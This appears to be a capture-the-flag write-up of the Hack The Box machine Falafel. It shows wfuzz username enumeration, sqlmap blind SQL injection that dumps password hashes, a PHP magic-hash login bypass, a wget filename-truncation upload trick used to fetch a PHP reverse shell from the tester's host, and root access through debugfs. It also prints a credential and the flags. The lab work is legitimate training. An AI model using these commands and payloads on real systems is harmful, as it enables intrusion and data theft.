The box Falafel (10.10.10.73) is a good practice for OSWE, as suggested by one of the forum posts about OSWE preparation. I am working on this box at midnight and am really getting hungry because of the box name xD. Since I know it is php type juggling related box, I won’t be really doing a “blackbox” test but try to learn as much as possible during this whole process.
Reconnaissance
As usual, nmap the target first:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 1 disallowed entry |_/*.txt |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Falafel Lovers
There is http-robots.txt. Since there are no other open ports, we go to port 80 and take a look. Meanwhile, put gobuster in background. Since robots.txt forbid txt file search, I add in txt into gobuster search extension as it may introduce something interesting. (One interesting output is cyberlaw.txt, which contains some hints for the exploit but does not help that much).
It can be seen that when I try random passwords for admin as user, the output is “wrong identification”. When I use random user name, the output is “try again”. Therefore it is highly possible that the admin user exists. Since I know the box is related to PHP type juggling, I try to think in that way. I want to use burp and take a look on the payload. The default payload is:
POST /login.php HTTP/1.1 Host: 10.10.10.73 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.73/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 29 Cookie: PHPSESSID=haep4t3emdjkk7aen9ppfsj032 Connection: close Upgrade-Insecure-Requests: 1 username=admin&password=admin
Seems that there’s nothing special. I also tried with SQL injection but nothing really worked out. In this case, I assume that there should be something I didn’t find. I tried to wfuzz the target website again with more usernames:
wfuzz -c -w /usr/share/wordlists/10-million-usernames-dup.txt -d “username=FUZZ&password=admin” -u http://10.10.10.73/login.php
wfuzz -c -w /usr/share/wordlists/10-million-usernames-dup.txt -d “username=FUZZ&password=admin” -u http://10.10.10.73/login.phpand I know that the non-existed user returns webpage with length 7074, so I add the flag –hh 7074
wfuzz -c -w /usr/share/wordlists/10-million-usernames-dup.txt -d “username=FUZZ&password=admin” -u http://10.10.10.73/login.php –hh 7074
I got one more user chris immediately. Try with chris:chris but fail. At this time I really don’t know how to continue, so I check some walkthrough (lol I didn’t mean to do that) and find some advanced sqlmap functions. I would like to introduce in the following section
SQLMAP with Burp
In the following blog, it is mentioned that SQLMAP can be used with burp to achieve better result. I’ve done some other readings, and realize that Burp is not the only way to help sqlmap but it increases the efficiency of sqlmap. https://0xdf.gitlab.io/2018/06/23/htb-falafel.html Firstly, save burp request to a “login_chris.request”:
POST /login.php HTTP/1.1 Host: 10.10.10.73 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.73/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 29 Cookie: PHPSESSID=haep4t3emdjkk7aen9ppfsj032 Connection: close Upgrade-Insecure-Requests: 1 username=admin&password=admin
The sqlmap can be executed by: sqlmap -r login_chris.request --level 5 --risk 3 --batch SQLMAP also have the flag of “–string” to include positive output. To tell sqlmap that a positive result is being examined, we could use: sqlmap -r login_chris.request --level 5 --risk 3 --batch --string "Wrong identification" since only valid users will return Wrong identification. The output will be
10:23:01] [INFO] checking if the injection point on POST parameter ‘username’ is a false positive POST parameter ‘username’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 527 HTTP(s) requests: — Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: username=admin’ AND 4638=4638– YiAr&password=admin — [10:23:24] [INFO] testing MySQL [10:23:24] [INFO] confirming MySQL [10:23:27] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0.0 [10:23:27] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/10.10.10.73’ [*] ending @ 10:23:27 /2020-03-16/
So in this case, we can add –dbs, –batch flags and try to get a more info. As expected, sqlmap returns:
[10:28:59] [INFO] retrieved: 2 [10:29:04] [INFO] retrieved: information_schema [10:30:25] [INFO] retrieved: falafel available databases [2]: [*] falafel [*] information_schema
So we further utilize “-D falafel” flag and try to dump the data inside: sqlmap -r login_chris.request --level 5 --risk 3 --batch --string "Wrong identification" -D falafel --dump and the output is:
Database: falafel Table: users [2 entries] +—-+——–+———-+———————————-+ | ID | role | username | password | +—-+——–+———-+———————————-+ | 1 | admin | admin | 0e462096931906507119562988736854 | | 2 | normal | chris | d4ee02a22fc872e36d9e3751ba72ddc8 | +—-+——–+———-+———————————-+
One way is to dehash the passwords and use it for user login. Yet since we know php type juggling, we can easily tell that admin user has a password with possible “0x” login. So we try with md5 magic password: 240610708. Login successful. 
PHP Shell
It seems that the following is an image upload bypass. This upload bypass is quite standard, as when we try to upload .png file onto the server, it shows standard wget download output:
CMD: cd /var/www/html/uploads/0319-0419_d1b019321d4b8bbb; wget ‘http://10.10.16.104:8080/test.png'
--2020-03-19 04:19:36– http://10.10.16.104:8080/test.png
Connecting to 10.10.16.104:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 91565 (89K) [image/png]
Saving to: ‘test.png’0K .......... .......... .......... .......... .......... 55% 45.9K 1s 50K .......... .......... .......... ......... 100% 15.6M=1.1s2020-03-19 04:19:38 (81.9 KB/s) - ‘test.png’ saved [91565/91565]
The technique to bypass the upload restriction is to utilize the maximum file name length in wget. So if we upload a file with name “?*a.php.png”, then the file will be uploaded into the server and stored but with name “?*a.php” since the last four chars are truncated. We need to figure out this “?” number, so I did some testing. Finally I notice that the maximum length for the server to accept is 236. So we need 232*A + “.php.png” to best fit the server for this reverse shell.
CMD: cd /var/www/html/uploads/0319-0429_0bb21755f9300c8c; wget ‘http://10.10.16.104:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.png'
The name is too long, 240 chars total.
Trying to shorten…
New name is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.
–2020-03-19 04:29:20– http://10.10.16.104:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.png
Connecting to 10.10.16.104:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 91565 (89K) [image/png]
Saving to: ‘aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php’
Good. Now let’s use a standard php reverse shell. I use the one from pentest monkey. After accessing the target url (the author is so nice to tell the directory), we got www-data.
WWW-DATA to USER
After running enumeration tool lse.sh, it is noticed that there is some service running on local port 3306. Since I don’t have ssh, I plan to do some curl testing. It turns out that 3306 is the mysql service. After some checking in the web directory, I notice a php file called “connection.php”, in which the sql login credentials are provided.
I tried to connect to the database through this credentials, but always got connection failed. After hours of checking on other things, I believe the main reason is that I’m not using a tty. I tried all different methods without outcomes so finally I have to use check on walkthroughs. I was so fucking stupid that I only checked on python2 but no python3. I can actually use python3 to generate a tty. After that, I get moshe without any problems. The user.txt is
c866575ed5999e1a878b1494fcb1f9d3
User to Root
The root section is so insane that I assume it is purely ctf style. I followed the following walkthrough:
The general steps are:
- find screenshots in local files. Find resolution and convert the screenshot.raw to an image file to get yossi password: yossi:MoshePlzStopHackingMe!
- with yossi password, it can be examined that the user belongs to disk group. Further more, sda1 is read/writable by yossi user, and /root directory is mounted under /sda1 (by lsblk command). This means that we can directly read /root/root.txt through the command debugfs /dev/sda1
- After entering debugfs environment, we can cat root.txt file. Further more, we can write ssh key into /root directory to gain root access through ssh. I didn’t repeat this step but it is fully practicable.
The root flag is:
23b79200448c62ffd6f8f2091c001fa1
